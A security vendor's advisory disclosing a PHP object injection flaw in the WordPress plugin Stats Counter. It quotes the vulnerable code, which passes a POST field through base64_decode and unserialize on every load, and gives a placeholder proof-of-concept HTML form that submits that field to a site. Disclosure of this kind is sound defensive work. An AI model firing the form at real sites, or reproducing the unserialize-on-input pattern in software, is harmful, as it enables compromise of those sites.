15 Dec

PHP Object Injection Vulnerability in Stats Counter

Today on one of our websites we had a request for a file from the plugin Stats Counter, /wp-content/plugins/stats-counter/template/css/counter_style.css. Seeing as we have never had that plugin installed, that type of request would usually be an indication that a hacker is probing for usage of the plugin. When we went to start investigating what might be the vulnerability that a hacker would be interested in targeting in that we first noticed that the plugin had been removed from the Plugin Directory. That could be an indication that someone reported a vulnerability in the current version of the plugin to the Plugin Directory or it could have been removed for some other reason, unfortunately the Plugin Directory doesn’t explain why something has been removed. The second thing we noticed was that the plugin was from the developer of the Backup & Restore Dropbox plugin, which we noticed apparent hacker probing for on Friday and we had notified them of one security issue shortly afterwords (we have yet to hear back from them and the vulnerability has not been fixed).

We then started looking over the Stats Counter plugin and found a vulnerability hackers might be interested in targeting, something that also exist Backup & Restore Dropbox plugin, but that we had not properly identified as being the likely vulnerability being targeted in that plugin up until now.

In the file /stats_counter.php, the function wpadm_stat_run() gets registered to run during init (so it runs whenever WordPress loads):
add_action('init', 'wpadm_stat_run');

That function then causes the function wpadm_run() to run:

function wpadm_stat_run()
	require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . 'wpadm.php';
	wpadm_run('stat', dirname(__FILE__));

When that function runs, if there is a POST input “wpadm_stat_request” included with the request to the website it will pass it to the function wpadm_unpack() (in the file /wpadm.php):

function  wpadm_run($pl, $dir) {
	require_once dirname(__FILE__) . '/class-wpadm-method-class.php';
	$request_name = 'wpadm_'.$pl.'_request';
	if( isset( $_POST[$request_name] ) && ! empty ( $_POST[$request_name] ) ) {
		require_once dirname(__FILE__) . '/class-wpadm-core.php';
		$wpadm = new WPAdm_Core(wpadm_unpack($_POST[$request_name]), $pl, $dir);
		echo ''.wpadm_pack($wpadm->getResult()->toArray()).'';

That in turns causes the POST input “wpadm_stat_request” to be run through the function unserialize, which allows the possibility of PHP object injection to occur:

function wpadm_unpack( $str ) {
	return unserialize( base64_decode( $str ) );

Proof of Concept

The following proof of concept will cause the specified object to be injected.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[Object to be Injected]” with the object to be injected (must be base64 encoded).

<form action="http://[path to WordPress]" method="POST">
<input type="hidden" name="wpadm_stat_request" value="[Object to be Injected]" />
<input type="submit" value="Submit" />


  • December 15, 2016 – Added vulnerability to free data in the service’s companion plugin.

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.